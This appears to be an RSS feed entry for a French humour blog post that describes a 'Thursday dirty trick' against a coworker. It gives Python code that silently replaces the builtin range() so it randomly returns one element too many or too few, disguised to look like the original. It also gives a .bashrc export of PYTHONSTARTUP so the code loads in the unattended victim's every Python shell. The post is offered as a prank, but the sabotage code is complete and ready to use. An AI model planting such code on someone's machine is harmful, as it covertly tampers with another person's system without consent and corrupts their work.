Sam & Max » range http://sametmax.com Du code, du cul Sat, 07 Nov 2015 10:56:13 +0000 en-US hourly 1 http://wordpress.org/?v=4.1 Le bon coup de pute du jeudi 7 http://sametmax.com/le-bon-coup-de-pute-du-jeudi/ http://sametmax.com/le-bon-coup-de-pute-du-jeudi/#comments Thu, 23 Jul 2015 07:06:02 +0000 http://sametmax.com/?p=16655 Le bureau est calme. Trop calme. Les projets avancent, vos clients sont heureux et – pire ! – vos collègues sourient.

Il est temps de changer tout ça.

Choisissez une victime qui est partie boire un café sans locker sa session (quitte à faire un exemple, autant choisir un être faible), et créez un petit fichier dans le chemin “~/au/fin/fond/de/ses/reps/de/travail/evil.py”.

Ensuite mettez ça dedans :

import random
import functools
 
# on garde une référence à l'ancienne fonction
# pour éviter une récursion infinie
old_range = range
 
# on lui créé un remplaçant avec les mêmes métatadas
@functools.wraps(range)
def random_range(start, stop=None, step=1):
 
    # on mimic la signature un peu originale de range()
    if not stop:
        stop = start
        start = 0
 
    # et on fait un range avec un tout petit peu de piment
    return old_range(start, stop + random.randint(-1, 1), step)
 
# on range (lol) tout comme si de rien était
__builtins__.range = random_range

Et il n’y a plus qu’à faire pointer la variable d’environnement PYTHONSTARTUP dessus. Par exemple sous Unix, dans son .bashrc:

export PYTHONSTARTUP=~/au/fin/fon/de/ses/reps/de/travail/evil.py

Et maintenant, à chaque fois qu’il ou elle lancera son shell:

>>> range
    <function builtins.range>
 
>>> list(range(10))
    [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
 
>>> list(range(10))
    [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
 
>>> list(range(10))
    [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
 
>>> list(range(10))
    [0, 1, 2, 3, 4, 5, 6, 7, 8]

*Zoom final sur rire diabolique*

]]>
http://sametmax.com/le-bon-coup-de-pute-du-jeudi/feed/ 7